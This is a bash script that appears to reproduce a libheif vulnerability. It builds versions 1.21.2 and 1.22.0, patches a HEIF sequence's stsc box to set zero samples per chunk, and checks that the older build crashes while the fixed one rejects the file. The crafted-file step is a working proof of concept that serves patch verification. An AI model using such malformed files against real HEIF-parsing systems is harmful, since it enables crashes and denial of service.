#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Install required dependencies
apt-get update -qq >/dev/null 2>&1 || true
apt-get install -y -qq cmake build-essential git libjpeg-dev pkg-config 2>&1 | tail -5 || true

# Clone libheif repository
LIBHEIF_DIR="$ROOT/libheif"
if [ ! -d "$LIBHEIF_DIR" ]; then
    git clone --depth=100 https://github.com/strukturag/libheif.git "$LIBHEIF_DIR"
fi

cd "$LIBHEIF_DIR"

# Fetch tags if not present
if ! git rev-parse v1.21.2 >/dev/null 2>&1; then
    git fetch --tags --depth=100 origin >/dev/null 2>&1
fi

# Helper function to build a specific version
build_version() {
    local version="$1"
    local build_dir="$2"
    git checkout "$version" --force 2>/dev/null
    if [ -d "$build_dir" ] && [ -f "$build_dir/examples/heif-enc" ]; then
        return 0
    fi
    rm -rf "$build_dir"
    mkdir -p "$build_dir"
    cmake -B "$build_dir" \
        -DWITH_LIBDE265=OFF \
        -DWITH_X265=OFF \
        -DWITH_KVAZAAR=OFF \
        -DWITH_UVG266=OFF \
        -DWITH_VVDEC=OFF \
        -DWITH_VVENC=OFF \
        -DWITH_X264=OFF \
        -DWITH_OpenH264_DECODER=OFF \
        -DWITH_DAV1D=OFF \
        -DWITH_AOM_DECODER=OFF \
        -DWITH_AOM_ENCODER=OFF \
        -DWITH_SvtEnc=OFF \
        -DWITH_RAV1E=OFF \
        -DWITH_JPEG_DECODER=ON \
        -DWITH_JPEG_ENCODER=OFF \
        -DWITH_OpenJPEG_ENCODER=OFF \
        -DWITH_OpenJPEG_DECODER=OFF \
        -DWITH_FFMPEG_DECODER=OFF \
        -DWITH_OPENJPH_ENCODER=OFF \
        -DWITH_UNCOMPRESSED_CODEC=ON \
        . >/dev/null 2>&1
    cmake --build "$build_dir" -j"$(nproc)" >/dev/null 2>&1
}

# Build vulnerable version
build_version "v1.21.2" "$LIBHEIF_DIR/build_vuln"

# Build fixed version
build_version "v1.22.0" "$LIBHEIF_DIR/build_fixed"

# Create tiny valid JPEG images for sequence encoding
mkdir -p "$ROOT/test_images"
cd "$ROOT/test_images"

for i in 1 2; do
    if [ ! -f "seq${i}.jpg" ]; then
        python3 -c "
import struct
with open('seq${i}.jpg', 'wb') as f:
    # SOI
    f.write(b'\xff\xd8')
    # APP0 (JFIF)
    f.write(b'\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00')
    # DQT
    f.write(b'\xff\xdb\x00C\x00')
    f.write(bytes([16]*64))
    # SOF0 (2x2 grayscale)
    f.write(b'\xff\xc0\x00\x0b\x08\x00\x02\x00\x02\x01\x01\x11\x00')
    # DHT (minimal)
    f.write(b'\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b')
    # SOS
    f.write(b'\xff\xda\x00\x08\x01\x01\x00\x00?\x00')
    # Minimal scan data
    f.write(b'\x00')
    # EOI
    f.write(b'\xff\xd9')
"
    fi
done

# Create HEIF sequence file using vulnerable build's heif-enc
SEQ_FILE="$ROOT/test_images/sequence.heif"
if [ ! -f "$SEQ_FILE" ]; then
    "$LIBHEIF_DIR/build_vuln/examples/heif-enc" -S -U seq1.jpg seq2.jpg -o "$SEQ_FILE" 2>/dev/null || true
fi

# Patch stsc box: set samples_per_chunk from 2 to 0
PATCHED_FILE="$ROOT/test_images/sequence_patched.heif"
python3 -c "
with open('$SEQ_FILE', 'rb') as f:
    data = bytearray(f.read())

idx = data.find(b'stsc')
if idx == -1:
    print('ERROR: stsc box not found')
    exit(1)

box_start = idx - 4
# Offset to samples_per_chunk:
# size(4) + type(4) + version/flags(4) + entry_count(4) + first_chunk(4) = 20
spc_offset = box_start + 20
orig_spc = int.from_bytes(data[spc_offset:spc_offset+4], 'big')
if orig_spc == 0:
    print('ERROR: original samples_per_chunk already 0')
    exit(1)

data[spc_offset:spc_offset+4] = (0).to_bytes(4, 'big')
with open('$PATCHED_FILE', 'wb') as f:
    f.write(data)
print(f'Patched samples_per_chunk from {orig_spc} to 0')
"

# Write test harness
HARNESS="$ROOT/seq_decode.c"
cat > "$HARNESS" << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <libheif/heif.h>
#include <libheif/heif_sequences.h>

int main(int argc, char** argv) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <heif-file>\n", argv[0]);
        return 1;
    }

    struct heif_context* ctx = heif_context_alloc();
    struct heif_error err = heif_context_read_from_file(ctx, argv[1], NULL);
    if (err.code != heif_error_Ok) {
        fprintf(stderr, "Error reading file: %s\n", err.message);
        heif_context_free(ctx);
        return 1;
    }

    if (!heif_context_has_sequence(ctx)) {
        printf("No sequence in file.\n");
        heif_context_free(ctx);
        return 0;
    }

    struct heif_track* track = heif_context_get_track(ctx, 0);
    if (!track) {
        fprintf(stderr, "No track found.\n");
        heif_context_free(ctx);
        return 1;
    }

    printf("Track handler: %s\n",
           heif_track_get_track_handler_type(track) == heif_track_type_image_sequence ? "pict" : "other");
    fflush(stdout);

    struct heif_image* img = NULL;
    err = heif_track_decode_next_image(track, &img, heif_colorspace_undefined, heif_chroma_undefined, NULL);

    if (err.code == heif_error_Ok) {
        printf("Decoded image successfully.\n");
        heif_image_release(img);
    } else {
        fprintf(stderr, "Decode error: %s (code=%d, subcode=%d)\n", err.message, err.code, err.subcode);
    }

    heif_track_release(track);
    heif_context_free(ctx);
    return (err.code == heif_error_Ok) ? 0 : 1;
}
EOF

# Compile harness against vulnerable build
VULN_HARNESS="$ROOT/seq_decode_vuln"
gcc -o "$VULN_HARNESS" "$HARNESS" \
    -I"$LIBHEIF_DIR/libheif/api" \
    -I"$LIBHEIF_DIR/build_vuln" \
    -L"$LIBHEIF_DIR/build_vuln/libheif" \
    -lheif \
    -Wl,-rpath,"$LIBHEIF_DIR/build_vuln/libheif" 2>/dev/null

# Compile harness against fixed build
FIXED_HARNESS="$ROOT/seq_decode_fixed"
gcc -o "$FIXED_HARNESS" "$HARNESS" \
    -I"$LIBHEIF_DIR/libheif/api" \
    -I"$LIBHEIF_DIR/build_fixed" \
    -L"$LIBHEIF_DIR/build_fixed/libheif" \
    -lheif \
    -Wl,-rpath,"$LIBHEIF_DIR/build_fixed/libheif" 2>/dev/null

# Run against vulnerable version
VULN_LOG="$LOGS/vulnerable.log"
echo "=== Testing vulnerable libheif v1.21.2 ===" > "$VULN_LOG"
set +e
"$VULN_HARNESS" "$PATCHED_FILE" >> "$VULN_LOG" 2>&1
VULN_EXIT=$?
set -e
echo "Vulnerable exit code: $VULN_EXIT" >> "$VULN_LOG"

# Run against fixed version
FIXED_LOG="$LOGS/fixed.log"
echo "=== Testing fixed libheif v1.22.0 ===" > "$FIXED_LOG"
set +e
"$FIXED_HARNESS" "$PATCHED_FILE" >> "$FIXED_LOG" 2>&1
FIXED_EXIT=$?
set -e
echo "Fixed exit code: $FIXED_EXIT" >> "$FIXED_LOG"

# Validate results
echo ""
echo "Results:"
echo "  Vulnerable version exit code: $VULN_EXIT"
echo "  Fixed version exit code:      $FIXED_EXIT"

if [ "$VULN_EXIT" -ne 0 ] && [ "$FIXED_EXIT" -eq 0 ]; then
    echo "SUCCESS: Vulnerable version crashed/rejected, fixed version handled cleanly."
    exit 0
elif [ "$VULN_EXIT" -ne 0 ] && [ "$FIXED_EXIT" -ne 0 ]; then
    # Check if fixed version handled it with a controlled error (not a crash)
    if grep -q "zero samples per chunk" "$FIXED_LOG" 2>/dev/null; then
        echo "SUCCESS: Vulnerable version crashed, fixed version rejected with controlled error."
        exit 0
    fi
fi

echo "FAILURE: Expected vulnerable crash and fixed clean handling."
exit 1